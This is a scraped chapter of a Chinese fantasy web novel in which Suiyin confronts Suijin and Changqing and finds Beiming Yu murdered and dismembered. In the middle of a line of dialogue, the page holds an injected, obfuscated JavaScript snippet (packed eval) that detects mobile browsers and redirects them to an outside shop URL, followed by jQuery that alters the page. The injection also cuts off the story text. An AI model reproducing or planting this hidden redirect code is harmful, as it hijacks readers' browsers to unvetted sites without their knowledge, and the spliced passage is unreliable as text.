默认冷灰
24号文字
方正启体

80. 鲲之大

作者:FoxAu本书字数:K更新时间:
    碎金伸手去拿铃铛。


    碎银内心崩溃,声音染上哭腔:“你……你从什么时候开始控制我思想的?”


    “你脖子上的牌牌变热一般就是我在看小鸢哦”


    “这么久?”碎银彻底懵了,“从拿到它开始它就一直都会发热,你……你”


    碎金摇晃着金铃铛,漫不经心的道:“我一直在小鸢肩膀上哦”


    “你监视我!?“碎银迟来的愚钝携着愤怒,她颤颤巍巍站起身,推开木贻走向碎金。


    木贻连忙拉住碎银却被甩开了。


    木贻恨铁不成钢的道:“碎银!他又骗你怎么办?”


    “我才没那么坏呢,我就在这里,不走也不动”碎金张开双臂,眼里没有丝毫真情。


    米司顿没有感觉到碎金的一丝丝真情流露,伸手拦住了碎银,摇摇头。


    碎银紧紧攥着无事牌,她愤怒,难过,无能为力的祈求碎金的理解:“你哪怕有小时候一样爱我,哪怕一点点!……你真该和我道歉的”


    “西江水”碎金突然压低了声音,冷着脸回答,“你有脾气可以向我许愿求回来无歇的魂儿,而不是和我废话,我是碎金,不是你那个相好弟弟”


    “你当我不知道吗?”碎银摸下一把眼泪,哽咽的说,“我身体里西江水的魂儿已经在十几岁就被邪祟吞了一大半下去,你不能把我当成她,你把我当成什么都好,悲鬼也好猼訑也罢,唯独不该是西江水……我□□的命在你死后就消失了!”


    “哼”碎金冷哼一声,并不信任碎银所言,“我认得小鸢,她没你这么爱我”


    “你他妈个贱种”碎银咬牙切齿,但忽地想起什么,强笑着“那你想怎么样?我没有朊鬼的记忆,你又想我。杀了我还是让我承受极大痛苦,我不信你舍得“


    碎金并未回答,默认了。


    碎银低头冷静下来,再抬头时红着眼,哑着嗓子念着:“带我去找常青”


    “才不要,青青她……”


    碎银皱眉:“我必须确认她没事!碎金,我对你够宽宏大量了,我的朋友死的时候你敢说没控制我?不然我为什么在你犯了错的情况下还要包容你?”


    “青青怎么会有事?”碎金逃避了碎银之后的问题,扔掉金铃铛走向碎银,“她可是小恨王,是旱魃,尸体可不会腐烂,死没死是看不出来的”


    轮到碎银沉默了,但碎银只是嘴上不说话,身体已经跨坐在碎金身上,拳头一次次落在碎金脸上。


    “小鸢别打这么明显的位置,小莫看见会生气的”


    “陪我去找常青”


    “不行哦,我好久才能出去一次,已经用在青青身上了,她不听话,说了不该说的”


    “出不去?什么意思”


    “哦,小莫不让我出去,我离不开了”


    碎银困惑的歪头。


    “不过我可以送小鸢去别的神通里。小鸢不要说不好的话哦,我听得见”


    碎金透过狐狸之窗看向碎银,叹息般笑了笑。


    放下手,他的如意通又归于宁静,又变成只剩他一个人了。


    碎银的吵闹声戛然而止,碎金坐起身,蜷缩着。


    碎银来到了天眼通,先覆上无事牌,它又开始发热了


    碎金抱完自己后转身拨开蛇母神像下的林罗绸缎,下面藏着映红,五六岁的模样。


    “差点忘记给小妹也分个地了,小桃花你喜欢哪里?我把它变给你”


    映红在绸缎下瑟瑟发抖,四处张望着,对这个地方很是恐惧,最终将视线定在碎金身上。


    “哥哥……”映红红着眼,张开双臂祈求一份安慰。


    “你要抱抱吗?好呀好呀”碎金利落的蹲下身抱起映红,想了想学着莫夏的样子拍拍映红的背,语气平静,“诶,你说,我要不要犯个错,去找小鸢呀”


    碎金的衣摆盖在蛇母的绸缎上,大红的艳丽,不朽不灭,轻轻摸着映红的头,嘴角上扬:“她可真在意她那群好朋友,连和我吵架都要管上一管……居然不生气”


    碎金确定了,碎银的爱是掰成几十份分的,谁也没法奢求。


    天眼通


    (时间点为碎银还在啃碎金脸的时候)


    常青变成五六岁的样子,在荡秋千,一个在屋子里的秋千,屋外是无垠的天眼通。唯一的光束自上而下照耀常青的头顶上的树,秋千轻微的摆动,带动常青哼歌的调子略微起伏。


    常青踢给会在不远处的兆丰年一柄箭,叫她拿好东西离开五神通。


    “小恨王,食恨果……”常青拿起剪刀,对这一段破旧松弛的红线修剪,让红线尽可能看着比较新,“聂鸣纯,你杀了北冥鱼,碎银会生气的”


    回眸一笑百媚生,六宫粉黛无颜色,常青的脸任谁都会愣一下,碎金在的话就更好了,用愣神的功夫展开耳羽,时间很充足。


    北冥鱼早已没了意识倒在一旁,身上缠着无数红丝线。


    “我想杀他全家的”鼷鼠重新绘制手上的油墨,北冥鱼个子不矮,放倒他真让鼷鼠费了些功夫,“但那样染的因果太多了,我想活命”


    常青的语气缓慢,似在感叹什么:“你都喝了药,还在意这点因果啊。碎银快来了,你们两个藏好点”


    鼷鼠托着北冥鱼离开,留下一条拖拽血痕,常青回头脸上显出恼怒,可是碎银要来了,她便咽下情绪,继续在这漫长的五神通里安静的等待,一如从前。


    ……


    叮呤咣啷一阵响亮的噪音后,是碎银一行人的身影。


    “常青?”碎银眼尖的发现和绿树融为一体的常青,“你不是不喜欢变成小孩的样子吗?”


    “可我刚刚死了一次,新的我,理应变一些的”


    “那你还是常青吗”


    “当然是”


    常青又一次回答的是。


    碎银不想浪费时间在这个一眼假的东西身上了,常青才不会这样,至少不会一瞬不瞬的凝视着碎银,连眼都不眨一下,要是以前早就低下头了。


    碎银走到坚决。


    “碎银,你出不去了”常青从秋千上跳下来,变回十七岁的模样,“你喜欢这个样子的我?我变给你就是了”


    可常青是提剑而来的。


    简希沧不甘示弱,即便面前是能一步登天成为邪神的邪祟,她也愿意站在朋友身前,宝剑的寒光可压不住她亮色的橘发。


    米司顿狐疑的看向了鼷鼠离开的方向,是一种兴奋的情绪弥漫,不属于常青。


    米司顿弯腰在几人耳边说:“还有别人”


    听到这,木贻忽的想起什么,探出头向常青喊:“等会儿,尉乐他们呢?”


    “哈哈”常青失笑,一只手覆上自己的脸,摇摇头,“是不是晚了点儿?碎金,你杀死莫夏了吗?”


    碎银抓住无事牌,它又发热了。


    碎金突然出现,落在常青脖子上,手里拿着好多手串。


    常青的皮肤碰到手串,冒烟了:“你把这鬼玩意儿拿走啊!!烧着我了!!”


    碎金挥舞着手臂:“哈哈哈哈!小鸢!小鸢你喜欢哪个?我看你们好像都可喜欢这些了”


    碎银一猜就知道碎金能出来了,嘴上说什么离不开了,实际上还是会因为自身混沌的特性触犯规则。


    打量一下那一堆土掉渣的串子,木贻缩了缩脑袋:“你自己留着吧”


    简希沧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104543|172131||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    架着剑的手放下些,目视前方,头稍微偏过:“碎银,你有没有感觉好重的血腥味?”


    碎银抽抽鼻子:“好像是……”碎银抬头向上看看,恰好看见低头的米司顿,这样的身高差让她想起了去如意通前在这里的事,“!!北冥鱼呢?我来的时候他在和鼷鼠拌嘴!!“


    木贻:“聂鸣纯!??他俩不是有仇吗?!”


    碎银四下张望:“……人呢”不好的预感满上,碎银忙转身抓住米司顿的两袖,“你刚才说还有别人,在哪个方向?!”


    米司顿指着情绪飘来的方向,他的手在抖,几次张嘴都发不出声。


    别再死人了。


    碎银跑向米司顿指的方向,黑暗中,鼷鼠颤颤巍巍的身影逐渐显现。


    常青开口提醒:“碎银,你想好了再去”


    碎银现在听不进去,耳鸣声嗡嗡作响。


    ……


    直到满身血污的鼷鼠在碎银面前站定。


    “……北冥鱼呢”碎银紧紧攥着衣袖,双瞳颤抖,明知故问。


    鼷鼠齿间溢出笑,佝偻着身躯,两根手指头夹着一个残破的类圆东西按在碎银胸口上,金色的双眸映出碎银的慌张:“哈哈,哈哈哈!和你弟弟变成一样的了,哈哈哈!拿好啊,悲鬼大人”


    碎银接住,是北冥鱼的婴灵。她僵直半天,身体才鼓起勇气微微倾斜,看见了北冥鱼的眼睛。


    准确说,是眼球。


    东一块,西一块,那一滩肉块居然是北冥鱼吗?他那么瘦,那么弱不禁风,也能占这么大的地方吗?


    他还没活够呢。


    安静无言,谁能想到再见面是以这样的方式?


    碎金悄悄下地,双手捧住脸走到木贻身旁戳了戳他:“我要去杀掉小莫了,可以见到小阿蓝他们哦,小红要一起吗?”


    木贻眼泪翻涌,难以置信的看着碎金。


    “其实我不喜欢去小莫的天耳通,他那个破旅馆的围栏太高了,每一层都是那样,我都跑不开”碎金拿下一个手串,是虎眼石制的,中间夹着几颗发晶,晶莹透亮,色泽明亮润滑,碎金飘起来放到木贻头顶:“你第二次掉下去的时候,死之前你看的就是这个串串”


    他说的是实现常青愿望前,时间还没被他逆转的那一次,木贻掉下了因果崖。


    米司顿没有在碎金身上感受到哪怕一点点有人死去时的情绪:“你,你早知道?对不对”


    “我可是喜神大人,我当然知道啦”碎金飘起来,伸开双臂,像蝴蝶一样翩翩。


    碎银猛地转头,她快恨死碎金的不言语了。


    此时碎银才发现,碎金穿的相较平时华丽的些,云锦料子上绣着的蝴蝶得光照才看得清楚,那些放在口袋里的金铃铛都带在了手腕上,却把曾挂在脖子上的五帝钱小心的别在了腰间,唯独身上的薄荷气息没变。


    碎金推走鼷鼠,让他离着碎银远一些,随后变出自己的糖罐走到一滩北冥鱼前,一巴掌拍在上面,用尚且温热的血话下招魂阵,用糖罐带走了那段莫夏的魂儿。


    连魂都不留。


    “碎金!!”碎银怒吼出声,一拳砸在碎金脸上,“那不是你画符的工具!”


    “又惹着小鸢了”碎金收回糖罐,注视着碎银,想真真正正记住她,“小鸢想骂我就骂吧,我怕回来的不是我”


    朊鬼死后还会回来,可回来的还是那个朊鬼吗。


    碎金不喜欢什么繁杂的饰品,但观念里有着“厚葬”这一说,他怕自己死无全尸,怕倒下的地方就是坟。


    既已知晓时日无多,他便挣扎,因为他知道自己夺了混沌,总会有不一样的事情发生,即使不会,也能体面一点
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)